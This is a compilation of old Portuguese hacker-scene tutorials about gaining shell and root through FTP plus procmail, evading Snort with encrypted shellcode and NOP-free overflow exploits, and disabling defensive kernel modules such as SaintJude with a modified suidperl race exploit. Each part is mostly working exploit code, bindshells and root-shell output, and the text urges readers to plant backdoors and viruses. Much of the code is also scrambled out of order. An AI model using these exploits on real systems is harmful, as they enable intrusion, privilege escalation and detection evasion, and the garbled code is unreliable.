Como foi dito no artigo "PHP + FTP = SHELL", muitos provedores liberam acesso a FTP para que os usuarios possam atualizar as suas home pages! No entanto, nos, fucadores eticos newbies, podemos contemplar alguns esquemas a serem feitos em cima disso! Se a rede possuir PHP mal configurado, otimo!!! Basta usar a tecnica descrita pelo Nash, mas e se a rede possuir PHP, mas as configuracoes do servidor WEB impedirem a execucao em qualquer diretorio? Pior ainda, e se a rede alvo nao possuir PHP?
Calma, amigos!! Existem dezenas de esquemas de se conseguir executar comandos shell e um deles serah descrito neste humilde artigo! Nenhuma das tecnicas que irei descrever eh nova! Mas por incrivel que pareca, muitos administradores de rede, esquecem desses problemas ou desconhecem por completo!
Espero que este texto seja util a voces e que possa desmistificar alguns aspectos referente ao hacking!
O Sendmail eh um velho conhecido de todos que mexem com hacking! Ele eh um daemon para e-mails que possui alguns milhares de linhas de codigo! Quanto maior e mais complexo o programa, mais chances ele tem de apresentar bugs! Acredito que existe uma condicao muito forte dele sempre apresentar bugs! Apesar dos bugs, ele eh um programa interessante e que dispoem de infindaveis recursos! Muitos programas interagem com o sendmail filtrando conteudo, personalizando alguns aspectos de administracao e etc! Um desses programas eh o procmail! O procmail tambem eh um programa complexo e que tende a apresentar inumeras falhas! O esquema que veremos afeta o sendmail diretamente, mas o exploit que serah publicado para obtencao de root afeta o sendmail+procmail!
Mas voltando a questao da shell via ftp.Supondo que apos 2 dias de tentativas de brutal force, voce consiga acesso a uma conta valida de FTP.Voce tenta executar o esquema do PHP, mas sem sucesso! De repente voce percebe que esta eh uma conta nao soh de FTP, mas de e-mail tambem e que voce tem acesso ao diretorio HOME do usuario.Voce dah entao um telnet para a porta 25 do servidor alvo e ve algo parecido com a linha abaixo:
220 darkstar ESMTP Sendmail 8.9.3/8.9.3; Thu, 28 Dec 2000 13:59:49 -0300
Ao que tudo indica temos um sendmail 8.9.3!! Estamos com acesso FTP, entao tudo que devemos fazer eh criar um arquivo .procmailrc parecido com o que vemos abaixo:
O que nos interessa eh a ultima linha, onde vemos que serah executada uma shell, depois nossos comandos(gcc -o hack hack.c; ./hack", advinha o que tem dentro do hack.c??? Exatamente!! Uma bindshell para uma porta alta que nos darah acesso shell a maquina alvo!! Mas para que o sendmail execute o que estamos desejando, precisamos enviar um e-mail para a conta onde se encontram os nossos arquivos .procmailrc e hack.c, mas isso qualquer um de nos sabe fazer!!:)
Por incrivel que pareca, muitos sistemas tende a esquecer deste problema! Conta de FTP eh um passo significativo em busca de root! Mas as coisas nao param por aih.E se o sistema for um Linux com kernel menor que 2.2.16?? Voce nao soh pode obter acesso shell pelo exemplo acima, mas tambem obter uma bindshell suid root!!:).Como???
Os passos abaixo nos ensinarao direitinho como proceder: 1 - Envio de Shell script com comandos a serem executados(proc.sh); #!/bin/sh echo "+-----------------------------------------------------+" echo "| Sendmail & procmail & kernel local root exploit |" echo "| |" echo "|Bugs found and exploit written by Wojciech Purczynski|" echo "| wp@elzabsoft.pl cliph/ircnet Vooyec/dalnet |" echo "+-----------------------------------------------------+" echo "| Alterado por Martin Fallon |" echo "+-----------------------------------------------------+" cat <<_FOE_ > cap.c _syscall2(int, capset, cap_userheader_t, header, const cap_userdata_t, data) extern int capset(cap_userheader_t header, cap_userdata_t data); int main() /* Defina Acima o alvo como sendo o usuario que voce obteve acesso! */ } cat <<_FOE_ > $HOME/.procmailrc _FOE_ cat <<__FIM__ > hack.c #define PORT 20000 int soc_des, soccli, soc_rc, soc_len, serverpid, cli_pid; struct sockaddr_in serv_addr; int main (int argc, char *argv[]) int i; soc_des = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (soc_des == -1) exit(-1); exit(-1); exit(0); exit(0); exit(0); close(soc_cli); /usr/bin/gcc cap.c -o cap while [ ! -f ./hack ]; do 2 - Criacao e envio do seguinte .procmailrc: 3 - Simples envio de um e-mail para o usuario alvo. 4 - Telnet porta 20000 do host alvo: darkstar:~$ telnet localhost 20000 Como vimos este esquema eh pratico e funcional! Em alguns casos ateh uma root shell pode estar a nossa espera se formos atenciosos! Podemos usar esta tecnica para obtermos shell em sistemas com Samba, NFS, FTP, etc etc e etc!!:) Existem outros esquemas para se obter shell via FTP + Alguma Configuracao. Em breve publicarei outro artigo expondo outra tecnica.
#define __KERNEL__
#include <linux/capability.h>
#undef __KERNEL__
#include <linux/unistd.h>
{ struct __usercapheader_struct caph={
_LINUX_CAPABILITY_VERSION,
0
};
struct __usercapdata_struct capd={
0,
0,
0xfffffe7f
};
capset(&caph, &capd);
system("echo|/usr/sbin/sendmail alvo");
_FOE_:H
|/bin/bash -c "chown root.root hack; chmod +s hack;./hack"
/*
#include <stdio.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
struct sockaddr_in client_addr;
{
for(i=0;i<argc;i++) {
memset(argv[i],'x0',strlen(argv[i])); };
strcpy(argv[0],"sendmail: OAA0850");
bzero((char *) &serv_addr, sizeof(serv_addr)); serv_addr.sin_family = AF_INET;
serv_addr.sin_addr.s_addr = htonl(INADDR_ANY); serv_addr.sin_port = htons(PORT);
soc_rc = bind(soc_des, (struct sockaddr *) &serv_addr, sizeof(serv_addr)); if (soc_rc != 0)
if (fork() != 0)
setpgrp();
signal(SIGHUP, SIG_IGN);
if (fork() != 0)
soc_rc = listen(soc_des, 5);
if (soc_rc != 0)
while (1) { soc_len = sizeof(client_addr);
soc_cli = accept(soc_des, (struct sockaddr *) &client_addr,&soc_len);
if (soc_cli < 0)
exit(0);
cli_pid = getpid();
server_pid = fork();
if (server_pid != 0) {
dup2(soc_cli,0);
dup2(soc_cli,1);
dup2(soc_cli,2);
setuid(0);
setgid(0);
execl("/bin/sh","sh",(char *)0);
close(soc_cli);
exit(0);
}
}
}
__FIM__
/usr/bin/gcc -o hack hack.c
./cap
sleep 1
done:H
|/bin/bash -c "./proc.sh"
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
id;
uid=0(root) gid=0(root) groups=100(users) : command not found
1 - INTRODUCAO
2 - ESQUEMAS
3 - TERMINANDO
3.1 - Links e Referencias
3.2 - Consideracoes Finais
"Por tras da Pantomima, ha sempre um artista solitario, puxando a corda da cortina!"
Este artigo descreve o basico de alguns esquemas contra ferramentas de filtragem de conteudo de buffer overflows, ou seja, como passar por elas! Pre-requisitos para ler este tutorial sao os de sempre, elites fora, conhecimento basico de C e escrita de exploits e um pouco sobre IDS.
Existem varias ferramentas 'IDS' que procuram detectar ataques do tipo Buffer Overflows.Irei destacar apenas algumas, mas os conceitos podem ser mais abrangentes, de modo que pode-se usar as mesmas tecnicas em outras ferramentas.
2.1 - Filtragem de Conteudo
Algumas Ferramentas procuram filtrar o conteudo de dados que sao recebidos pelos daemons.Um ferramenta capaz de fazer isso e que eh muito popular eh o 'snort'.Ela funciona como uma especie de sniffer, procurado filtrar todos os dados que estao chegando atraves da interface local. Dentre os dados que ela pode filtrar, estao as strings.Analisaremos dois possiveis casos, abaixo:
+ /bin/sh -> O snort eh capaz de detectar a tentativa de recebimento pelo
daemon de strings do tipo /bin/sh inseridas em shellcodes.
A grande maioria dos shellcodes enviam solicitacoes de
comandos a serem executados de modo claro, ou seja, strings
do tipo '/bin/bash', '/bin/sh', '/bin/echo', '/etc/passwd',
enfim, como essas strings nao podem corresponder a dados
aceitos pelo daemon, elas sao facilmente detectadas e o
IDS em questao(snort) eh capaz de alertar quanto a uma
tentativa de invasao via 'buffer overflow' em algum daemon.
Solucao: Uma possivel solucao p/ este problema reside em procurar enviar
os comandos ou strings responsaveis pela 'exploitacao' via
shellcode encriptados.Existem varios exemplos de shellcodes
encriptados e voce pode ler mais sobre isso no 'Tutorial Basico
de Escrita de Shellcodes p/ Linux(II Parte)' e tambem no
artigo 'PASSANDO POR STRINGS', ambos publicados por mim que
podem ser obtidos nos links disponibilizados fim deste tutorial.
Um Exemplo de Shellcode encriptado segue abaixo:
xorl %eax,%eax # Reseta EAX
jmp 0x22 # Salta para 0x22
popl %ebx # retira EBX(string) do stack.
movl 8(%ebx),%edx # copia string encriptada para EDX.
xor %edx,(%ebx) # OU logico em EDX e 0(EBX).
xor %edx,4(%ebx) # Desencripta o shellcode
xor %edx,%edx # Reseta EDX.
movl %ebx,0x8(%esp) # copia /bin/sh para 0x8(%esp)
movl %edx,0xc(%esp) # copia /bin/sh + null word long p/ 0xc(%esp)
movb $0xb,%al # copia execve(11) para AL.
leal 0x8(%esp),%ecx # copia o end. de /bin/sh sobre ECX.
int $0x80 # Sai para modo kernel.
xorl %ebx,%ebx # Reseta EBX.
movl %ebx,%eax # copia EBX para EAX.
incl %eax # incrementa EAX(1 = exit).
int $0x80 # sai para modo kernel.
call -0x27 # chama -0x27.
.string "x7ax37x3cx3bx7ax26x3dx55x55x55x55x55"
Veremos entao como fica o shellcode num .c:
/* Shellcode encriptado com base no do lamagra.
Desenvolvido por Nash Leon.
nashleon@yahoo.com.br
*/
char shellcode[] =
"x31xc0xebx22x5bx8bx53x08x31x13x31x53x04x31xd2x89" "x5cx24x08x89x54x24x0cxb0x0bx8dx4cx24x08xcdx80x31" "xdbx89xd8x40xcdx80xe8xd9xffxffxff" "x7ax37x3cx3bx7ax26x3dx55" /* /bin/sh encriptado */ "x55x55x55x55"; /* Chave conversora */
main(){
int *retorno;
retorno = (int *)&retorno + 2;
(*retorno) = (int)shellcode;
}
Este eh apenas um dos inumeros possiveis esquemas de se criptografar um shellcode.No exemplo acima, teriamos o comando '/bin/sh' sendo executado, mas a string a ser enviada seria 'z7<;z&=', logo a ferramenta de IDS nao seria capaz de detectar uma tentiva de exploitacao com base na string de comando a ser enviada.
+ NOPS(0x90) - Muitos Exploits p/ buffer overflows costumam enviar a
intrucao NOP(0x90) para facilitar a exploitacao de um
programa(daemon).A intrucao NOP eh responsavel por
uma execucao vazia, ou seja, nao se executa nada.Isto
eh essencial, caso tenha duvidas, leia meu tutorial de
buffer overflows.Algumas ferramentas de IDS, incluindo o
snort, procuram filtrar a chegada de pacotes contendo
esta intrucao, e do mesmo modo como no exemplo anterior,
se enviarmos esta instrucao, correremos um serio risco
de sermos detectados no sistema alvo.
Solucao: Entendendo a logica que envolve a instrucao 'NOP' e o seu real
significado, podemos facilmente contemplar esquemas substitutos,
como por exemplo, substituirmos esta instrucao por outra que
procura executar o mesmo objetivo da instrucao NOP em nossos
exploits.Abaixo nos podemos contemplar um esquema, onde ao inves
de termos NOP(0x90) temos a instrucao 'jmp 0x02', ou seja,
jmp(0xeb) + 02(0x02):
#include <stdio.h>
#include <unistd.h>
#define ALIGN 0
#define OFFSET 0
char shellcode[] =
"xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b" "x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd" "x80xe8xdcxffxffxff/bin/sh";
unsigned long pega_sp(void){
__asm__("movl %esp, %eax");
}
int main(int argc, char *argv[]) {
int i,tamanho;
int offset = OFFSET;
long retaddr;
char *buffer;
if(argc < 2) {
printf("Uso: %s <tamanho_do_buffer> <offset>n",argv[0]); exit(0);
}
if(argc > 2) offset = atoi(argv[2]);
tamanho = atoi(argv[1]);
retaddr = pega_sp() - offset;
buffer = (char *)malloc(tamanho);
if(buffer < 0){
fprintf(stderr,"Nao pode alocar mamoria!!n"); exit(1);
}
for (i=0;i<tamanho;i+=4) {
buffer[i+ALIGN]=(retaddr&0x000000ff);
buffer[i+ALIGN+1]=(retaddr&0x0000ff00)>>8;
buffer[i+ALIGN+2]=(retaddr&0x00ff0000)>>16;
buffer[i+ALIGN+3]=(retaddr&0xff000000)>>24;
}
/* Abaixo nos vemos a condicao for() tendo i sendo incremento em
2 posicoes p/ recebimento da instrucao 'jmp 0x02' */
for (i = 0; i < tamanho - strlen(shellcode)-100;i+=2) {
*(short *) &buffer[i] = 0xeb;
*(short *) &buffer[i+1] = 0x02;
}
memcpy(buffer+i,shellcode,strlen(shellcode));
/* Executamos o programa bugado */
execl("./bug","bug",buffer,NULL);
return 0;
}
Voce pode testar este exploit em um programa 'bug' vulneravel a buffer overflow qualquer, a unica limitacao eh que voce terah que chutar os tamanhos dos buffers seguidos, ou seja, ele pode exploitar em '540' e nao exploitar em '541'.Esta particularidade consiste justamente na instrucao ser uma instrucao dupla, se o retorno cair na instrucao 'jmp' esta otimo, mas se cair aonde esta localizado '0x02', ele nao obterah exito.Com base nessas informacoes podemos ir mais alem ainda e implementarmos instrucoes como 'jmp 0x03', 'jmp 0x04' e assim por diante.Para nao haver duvidas, abaixo segue o mesmo exploit acima, mas com a intrucao 'jmp 0x03' ao invez de 'jmp 0x02'.
/* Exemplo 2 de Exploit sem NOP. */
#include <stdio.h>
#include <unistd.h>
#define ALIGN 0
#define OFFSET 0
char shellcode[] =
"xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b" "x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd" "x80xe8xdcxffxffxff/bin/sh";
unsigned long pega_sp(void){
__asm__("movl %esp, %eax");
}
int main(int argc, char *argv[]) {
int i,tamanho;
int offset = OFFSET;
long retaddr;
char *buffer;
if(argc < 2) {
printf("Uso: %s <tamanho_do_buffer> <offset>n",argv[0]); exit(0);
}
if(argc > 2) offset = atoi(argv[2]);
tamanho = atoi(argv[1]);
retaddr = pega_sp() - offset;
buffer = (char *)malloc(tamanho);
if(buffer < 0){
fprintf(stderr,"Nao pode alocar mamoria!!n"); exit(1);
}
for (i=0;i<tamanho;i+=4) {
buffer[i+ALIGN]=(retaddr&0x000000ff);
buffer[i+ALIGN+1]=(retaddr&0x0000ff00)>>8;
buffer[i+ALIGN+2]=(retaddr&0x00ff0000)>>16;
buffer[i+ALIGN+3]=(retaddr&0xff000000)>>24;
}
/* Abaixo nos vemos a condicao for() tendo i sendo incremento em
3 posicoes p/ recebimento da instrucao 'jmp 0x03' e o valor 0x41(A) apenas como enchimento */
for (i = 0; i < tamanho - strlen(shellcode)-100;i+=3) {
*(short *) &buffer[i] = 0xeb;
*(short *) &buffer[i+1] = 0x03;
*(short *) &buffer[i+2] = 0x41;
}
/* Se quisessemos por 'jmp 0x04' poderiamos colocar o seguinte:
for (i = 0; i < tamanho - strlen(shellcode)-100;i+=4) { *(short *) &buffer[i] = 0xeb; // jmp *(short *) &buffer[i+1] = 0x04; // 0x04 *(short *) &buffer[i+2] = 0x4e; // N de Nash *(short *) &buffer[i+3] = 0x4c; // L de Leon }
*/
memcpy(buffer+i,shellcode,strlen(shellcode));
/* Executamos o programa bugado */
execl("./bug","bug",buffer,NULL);
return 0;
}
Podemos contemplar esquemas basicos contra ferramentas de IDS especificas, podemos ir mais alem e conseguirmos esquematizar e descobrir mais possiveis esquemas contra varias ferramentas IDS.Cabe a voce, amigo NewBie, procurar ir mais longe e contemplar maiores esquemas contra toda e qualquer ferramenta de seguranca.
Tou de volta a ativa! Com maquina nova, animo novo, depois de uma pequena recessao!! Esquemas contra ferramentas de IDS existem para serem usadas! Mas deve sempre haver cautela quando implementamos tais esquemas!
"Tutorial Basico de Escrita de Exploits para Buffer Overflows em Linux" por Nash Leon -http://unsekurity.virtualave.net/
"Truques Contra IDS(I Parte)"
por Nash Leon - http://unsekurity.virtualave.net/
"Stealthcode" -
por r00tabega -
http://packetstorm.securify.com/groups/r00tabega/stealthcode.txt
Resolvi(pelo menos por enquanto) terminar meus trabalhos incompletos e
publica-los em forma de artigo(se o unsek permitir, logico!).Pretendo
descrever em separado as tecnicas e esquemas contra ferramentas bem como
alguns materiais que tavam guardados!
O unsek completou 1 ano de lutas! E a tendencia eh a interacao de mais
pessoas, deste modo, deve haver um aumento da troca de informacoes e
consequentemente, de conhecimento de todos os envolvidos!
Agradeco aos irmaos, newbies, que de uma maneira ou de outra tem
contribuido para tornar a Unsek Scene cada vez mais forte! Agradeco a
todos os escritores e ajudantes na mail list e no forum que tem
contribuido diretamente na "LIBERDADE DE INFORMACAO".
Desenvolvido por Nash Leon.
nashleon@yahoo.com.br
OBS: O Autor nao se responsabiliza pelo mau uso dos dados e informacoes
aqui disponibilizados.
OBS2: Elites que se fecham em grupinhos, pseudo-elites que mudam home
pages, analistas de seguranca sem escrupulos, favor nao ler! Voces
perderao o tempo precioso de vcs!
| PASSANDO POR LKMs DEFENSORES |
--------------------------------
Vamos seguindo nesta jornada rumo a mais um desafio! Tentar demonstrar que nao soh eh possivel passar por algumas ferramentas LKMs Protetoras como tambem expandir os conceitos no intuito de torna-las inuteis.Veremos algumas tecnicas e teorias, mas caberah a voce, amigo fucador ir mais longe! Conhecimentos basicos de LKM se fazem necessarios, recomendo a leitura do 'Tutorial de Programacao Basica para Fucadores' item 5, C, e um bom conhecimento de Linux tambem. Mas os esquemas serao simples, apenas para que possamos contemplar maiores teorias e tecnicas para tentar derrubar estes conceitos, nao pretendo entrar em exploits especificos para 'buffer overflows' pois tem um tutorial a caminho e lah eu devo abordar um pouco sobre Ferramentas IDS contra Buffer Overflows, talvez coloque algo sobre o SaintJude.Todos os esquemas aqui foram testados em Linux Slackware 7.0 - kernel 2.2.13.
Sao varios os Programas de Defesa que usam LKMs em sistemas linux, no entanto eu vou me concentrar em apenas dois.Seus conceitos podem ser abrangidos em outros Programas do genero.
LKM Detector eh um Modulo de Kernel Carregavel que nao faz outra coisa a nao ser detectar o carregamento de LKMs no sistema e avisar o administrador que essas mudancas ocorreram.Isso representa um grande empecinho na instalacao de backdoors e redirecionadores de executaveis que usam LKM. Mas voce administrador iria confiar somente nisso??? Presta atencao quando alguem da Comunidade de Seguranca cita isso como uma boa ferramenta na prevencao de virus!!! Mas Vamos lah.. O codigo mais difundido dessa ferramenta segue abaixo:
/* LKM Detector retirado do tutorial da The Hackers Choice sobre LKM.
http://www.infowar.co.uk/
Atualizado para kernel 2.2.13 by Nash Leon. nashleon@yahoo.com.br/
*/
#define MODULE
#define __KERNEL__
#include <linux/module.h>
#include <linux/kernel.h>
#include <asm/unistd.h>
#include <asm/uaccess.h>
#include <linux/dirent.h>
#include <linux/malloc.h>
#include <sys/syscall.h>
extern void* sys_call_table[];
int (*orig_create_module)(char*, unsigned long);
int hacked_create_module(char *name, unsigned long size) {
char *kernel_name;
int ret;
kernel_name = (char*) kmalloc(256, GFP_KERNEL); copy_from_user(kernel_name, name, 255);
/here we log to syslog, but you can log where you want/ printk("<1> SYS_CREATE_MODULE : %sn", kernel_name);
ret=orig_create_module(name, size);
return ret;
}
int init_module(void) /module setup/ {
orig_create_module=sys_call_table[SYS_create_module]; sys_call_table[SYS_create_module]=hacked_create_module; return 0;
}
void cleanup_module(void) /module shutdown/ {
sys_call_table[SYS_create_module]=orig_create_module;
}
# gcc -c -O3 lkm_detector.c
# insmod lkm_detector.o
# lsmod
Module Size Used by
lkm_detector 408 0 (unused)
iBCS 135456 0
pcmcia_core 39080 0
bsd_comp 3568 0
ppp 20428 0 [bsd_comp]
slip 7188 0 (unused)
slhc 4300 0 [ppp slip]
lp 5660 0 (unused)
parport_pc 5588 1
parport 6724 1 [lp parport_pc]
Aih estah o dito cujo.Se voce carregar um LKM verah o seguinte comportamento 'padrao':
# insmod StJude_lkm.o
SYS_CREATE_MODULE : StJude_lkm
Loading StJude-LKM 0.02 ... <1>Done.
Ele acusa no prompt.. e se voce for ver no sistema de log:
Aug 8 12:38:19 localhost kernel: SYS_CREATE_MODULE : StJude_lkm
Lah estah o dito cujo!!
# lsmod
Module Size Used by
StJude_lkm 43396 0 (unused)
lkm_detector 408 0 [StJude_lkm]
Veja acima o comportamento dele apos o carregamento de um LKM qualquer.
O SaintJude eh um 'excelente' LKM.Ele intercepta varios systemcalls e tenta protege-los de forma eficiente.O Conceito usado neste 'Protetor' tem sido bastante discutido, pois pode ser que num futuro proximo ele venha a ser algo predominante na seguranca de Sistema Operacionais. Voce pode obte-lo no seguinte endereco:
http://packetstorm.securify.com/linux/security/StJude_LKM-0.02.tar.gz
Parece que ele foi um dos temas da Conferencia de "Hackers"(entre aspas) DefCon.Ele eh capaz de proteger de varias tecnicas usadas para se executar comandos como outro usuario, no entanto, ele pode ser facilmente 'derrubado' em sua instalacao padrao.Veremos isso logo abaixo.
Os esquemas que vou disponibilizar aqui sao simples.Apenas para que voce possa ir contemplando mais teorias e implementando novas tecnicas por sih soh.
Como vimos no inicio, o comportamento 'padrao' do LKM detector nao faz outra coisa a nao ser avisar o administrador que um LKM foi carregado no sistema! Existe utilidade nisso??? Sim existe!! Isso pode ser usado para discussoes e desrespeito em mail lists!:)... Mas na pratica, nao eh um esquema eficiente! Veremos porque eu digo isso.
+ Derruba-lo simplesmente:
Jah que voce tem root e ele nao eh um LKM stealth. Derrube-o!
# lsmod
Module Size Used by
lkm_detector 408 0
iBCS 135456 0
pcmcia_core 39080 0
bsd_comp 3568 0
ppp 20428 0 [bsd_comp]
slip 7188 0 (unused)
slhc 4300 0 [ppp slip]
lp 5660 0 (unused)
parport_pc 5588 1
parport 6724 1 [lp parport_pc]
# rmmod lkm_detector
localhost:/crazy/progs/protect/StJude_LKM-0.02# lsmod
Module Size Used by
iBCS 135456 0
pcmcia_core 39080 0
bsd_comp 3568 0
ppp 20428 0 [bsd_comp]
slip 7188 0 (unused)
slhc 4300 0 [ppp slip]
lp 5660 0 (unused)
parport_pc 5588 1
parport 6724 1 [lp parport_pc]
Nada demais, nao???
+ Se ele for auto-carregavel e stealth, encontre-o e altere o sistema!
O LKM sempre nos deixa algumas pistas para que o possamos encontrar.Tudo que necessitamos fazer eh 'uma vistoria' no sistema:
Mas procurar o que??
Vamos analisar abaixo o nosso LKM Detector:
# strings lkm_detector.o | more
...
orig_create_module
...
O que nos interessa eh isso acima.Encontrando isto temos uma chance enorme de descobrir o nome do LKM que estah manipulando o systemcall 'create_module'. Atraves de 'fingerprint' deixados pelo nosso LKM detector eh possivel que venhamos a acha-lo no sistema aonde quer que ele esteja, lembre-se: "NOS JAH SOMOS ROOT!!! O SISTEMA JAH EH NOSSO!!"
Encontrando o arquivo, altere o carregamento(muitas vezes, basta comentar a linha) e reinicie o sistema!! Isso mesmo!!:).. Depois altere tudo que voce necessita(instala backdoor, compila tudo que tiver direito e se alguem xingar a sua voh, meta um virus no sistema dele!), depois traz o dito cujo ao normal!
Passar por este programa requer um pouco de 'persistencia'.Irei descrever algumas tecnicas basicas que podem ajuda-lo nessa jornada.Voce deve expandir mais os conceitos e teorizar em cima disso tudo.
Em sua instalacao original atual, o SaintJude nao eh stealth. Voce pode detecta-lo com um simples:
$ /sbin/lsmod
Module Size Used by
StJude_lkm 43392 0 (unused) -> Olha ele aqui!!!!
iBCS 135456 0
pcmcia_core 39080 0
bsd_comp 3568 0
ppp 20428 0 [bsd_comp]
slip 7188 0 (unused)
slhc 4300 0 [ppp slip]
lp 5660 0 (unused)
parport_pc 5588 1
parport 6724 1 [lp parport_pc]
2.2.2. - Armas de Guerra
O SaintJude funciona atraves da interceptacao de systemcalls.Eh um programa bastante eficiente no que se refere as tecnicas basicas de exploitacao amplamente conhecidas,logo, voce necessitarah de algo mais para poder 'passar' por ele.Os systemcalls que ele intercepta sao os seguintes:
__NR_setuid
__NR_setreuid
__NR_fork
__NR_vfork
__NR_clone
__NR_exit
__NR_execve
__NR_create_module [ Usado no modo debugador ] __NR_delete_module [ Usado no modo debugador ]
Os dois ultimos tornam nosso 'trabalho' bastante dificil, mas como nao eh recomendado o carregamento da LKM com esses dois 'interceptadores', pois a funcionalidade de um sistema que necessita carregar LKMs pode ser comprometida, nosso 'trabalho' eh entao mais facilitado!
Se voce jah eh um fucador um pouco experiente em Sistemas Linux voce vai perceber logo de cara que ele intercepta varios SystemCalls importantes, mas existem outros.Voce poderia contemplar varios esquemas em cima dos outros systemcalls e poder tirar proveito deles.Mas eu vou descrever uma tecnica mais simples e verdadeiramente mais eficiente.
Em sua instalacao padrao, a versao 0.02 pode ser exploitada permitindo a execucao de programas como se fosse outro usuario, ou seja, eh possivel passar pela protecao de setuid() dele.Vejamos como isso eh possivel.
Abaixo segue um programa que executa uma shell com suid root:
main(){
setuid(0);
setgid(0);
system("/bin/bash");
}
Compilando este programa como root e depois tornando-o suid root poderemos ver na pratica a eficiencia do SaintJude:
# gcc -o shell shell.c
# chmod 04755 shell
# ls -l shell
-rwsr-xr-x 1 root root 11823 Aug 8 11:26 shell
+ Sem SaintJude teriamos:
$ ./shell
bash-2.03# id
uid=0(root) gid=0(root) groups=100(users)
+ Com SaintJude:
$ id
uid=1000(nashleon) gid=100(users) groups=100(users) $ ./shell
uid=1000(nashleon) gid=100(users) groups=100(users)
Podemos notar que a copia de shell estah funcionando perfeitamente, mas o SaintJude tambem! Logo, a copia se torna 'quase' inutil!
O Esquema mais simples de se passar por isto consiste em 'confundir' o SaintJude. Como assim confundir? O Programa suid root existe e por mais que o SaintJude queira interceptar e alterar 'seu fluxo', podemos perfeitamente se aproveitar da condicao em que a uid eh elevada e 'fugir' da previsao usada pelo SaintJude. Conhecendo o comportamento do LKM, voce estah apto a produzir esquemas diferenciados para exploitacao do mesmo.
Recentemente foi descoberto um problema com o arquivo 'suidperl', usarei o exemplo do exploit criado pelo Michal Zalewski alterado por mim para demonstrar esse esquema:
clear
echo "Suidperl 5.00503 (and newer) root exploit" echo "-----------------------------------------" echo "Written by Michal Zalewski <lcamtuf@dione.ids.pl>" echo "With great respect to Sebastian Krahmer..." echo
SUIDBIN=/usr/bin/passwd
echo "[*] Usando suidperl=$SUIDPERL, suidbin=$SUIDBIN..."
if [ ! -u $SUIDPERL ]; then
echo "[-] Sorry, $SUIDPERL4 is NOT setuid on this system or" echo " does not exist at all. If there's +s perl binary available," echo " please change SUIDPERL variable within exploit code." echo
exit 0
fi
if [ ! -u $SUIDBIN ]; then
echo "[-] Sorry, $SUIDBIN is NOT setuid on this system or does not exist at" echo " all. Please pick any other +s binary and change SUIDBIN variable" echo " within exploit code."
echo
exit 0
fi
echo "[+] Checks passed, compiling flares and helper applications..." echo
cat >flare <<__eof__
#!/usr/bin/suidperl
print "Nada pode me parar agora...n"; # :)
__eof__
cat >bighole.c <<__eof__
#include <stdlib.h>
main() {
setuid(0);
setgid(0);
chown("sush",0,0);
chmod("sush",04755);
system("/sbin/rmmod StJude_lkm"); #Olha essa Linha Aqui!!!!!!!! }
__eof__
cat >sush.c <<__eof__
main() {
setuid(0);
setgid(0);
system("/bin/bash");
}
__eof__
make bighole sush
echo
if [ ! -x ./sush ]; then
echo "[-] Oops, seems to me I cannot compile helper applications. Either" echo " you don't have working 'make' or 'gcc' utility. If possible," echo " please compile bighole.c and sush.c manually (to bighole and sush)." echo
exit 0
fi
echo "[+] Setting up environment..."
chmod 4755 ./flare
FILENAME='none
~!bighole
'
export interactive=1
PATH=.:$PATH
echo "[+] Starting exploit. It could take up to 5 minutes in order to get" echo "[+] working root shell. WARNING - WARNING - WARNING: it could cause" echo "[+] heavy system load."
while :; do
( ln -f -s $SUIDBIN "$FILENAME";usleep $RANDOM; nice -n +20 $SUIDPERL ./"$FILENAME" <./flare & ) &>/dev/null & ( usleep $RANDOM ; ln -f -s /dev/stdin "$FILENAME" ) &>/dev/null & if [ -u ./sush ]; then
echo
echo "[+] Arquivo suid criado com Sucesso..." echo
rm -f "$FILENAME" sush.c bighole bighole.c flare ./sush
echo
echo "[+] Thank you for using Marchew Industries / dupa.ryba products." echo
rm -f "$FILENAME" sush.c bighole bighole.c flare sush exit 0
fi
done
Vamos lah:
+ Como root:
# insmod StJude_lkm.o
Loading StJude-LKM 0.02 ... <1>Done.
# lsmod
Module Size Used by StJude_lkm 43392 0 (unused) iBCS 135456 0 pcmcia_core 39080 0 bsd_comp 3568 0 ppp 20428 0 [bsd_comp] slip 7188 0 (unused) slhc 4300 0 [ppp slip] lp 5660 0 (unused) parport_pc 5588 1 parport 6724 1 [lp parport_pc]
+ Como usuario comum:
$ id
uid=1000(nashleon) gid=100(users) groups=100(users) $ ./xperl.sh
[*] Usando suidperl=/usr/bin/suidperl, suidbin=/usr/bin/passwd... [+] Checks passed, compiling flares and helper applications...
cc bighole.c -o bighole cc sush.c -o sush
[+] Setting up environment...
[+] Starting exploit. It could take up to 5 minutes in order to get [+] working root shell. WARNING - WARNING - WARNING: it could cause [+] heavy system load.
[+] Arquivo suid criado com Sucesso...
[+] Thank you for using Marchew Industries / dupa.ryba products.
rm: cannot unlink `sush': Operation not permitted
Nao deu de primeira, mas...
$ /sbin/lsmod
Module Size Used by iBCS 135456 0 pcmcia_core 39080 0 bsd_comp 3568 0 ppp 20428 0 [bsd_comp] slip 7188 0 (unused) slhc 4300 0 [ppp slip] lp 5660 0 (unused) parport_pc 5588 1 parport 6724 1 [lp parport_pc]
Jah nao existe mais SaintJude... logo, tudo que precisamos fazer eh checar se criou o suid:
$ ls -l sush
-rwsr-xr-x 1 root root 11822 Aug 8 15:12 sush* $ ./sush
bash-2.03# id
uid=0(root) gid=0(root) groups=100(users) bash-2.03# exit
exit
Como voce pode perceber funciona perfeitamente! Voce pode notar tambem que a unica coisa que eu fiz de util nesse exploit foi acrescentar a seguinte linha:
system("/sbin/rmmod StJude_lkm");
Ela eh a responsavel por derrubar o LKM.Agora contemple voce mesmo o esquema... Quem executou isso foi o daemon e nao voce.. logo eh perfeitamente possivel usar implementacoes em programas bugados com system(), popen() e ateh mesmo buffer overflows! Enfim, se existe um programa suid existe a condicao de execucao do mesmo como dono do usuario! O conceito de suid eh justamente este, logo, existem esquemas para se passar por isto! Vah fundo e voce irah contemplar mais!
2.3. - Problemas e Sugestoes
Um LKM eh um desafio a mais e deve ser sempre levado em consideracao quando se 'luta' contra a 'pseudo-seguranca' de um sistema.Muitos problemas podem surgir como alguns descritos abaixo:
